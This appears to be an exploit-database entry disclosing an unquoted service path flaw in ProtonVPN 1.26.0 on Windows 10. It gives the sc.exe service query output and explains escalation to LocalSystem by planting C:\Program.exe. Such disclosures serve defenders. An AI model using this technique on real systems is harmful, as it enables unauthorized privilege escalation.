# Exploit Title: ProtonVPN 1.26.0 - Unquoted Service Path# Date: 22/03/2022# Exploit Author: gemreda (@gemredax)# Vendor Homepage: https://protonvpn.com/# Software Link: https://protonvpn.com/# Version: 1.26.0# Tested: Windows 10 x64# Contact: gemredax@pm.mePS C:\Users\Emre> sc.exe qc "ProtonVPN Wireguard"[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ProtonVPN Wireguard
TYPE : 10WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL: 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Proton Technologies\ProtonVPN\ProtonVPN.WireGuardService.exe C:\ProgramData\ProtonVPN\WireGuard\ProtonVPN.conf
LOAD_ORDER_GROUP :
TAG: 0
DISPLAY_NAME : ProtonVPN WireGuard
DEPENDENCIES : Nsi
: TcpIp
SERVICE_START_NAME : LocalSystem
#Exploit:
The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.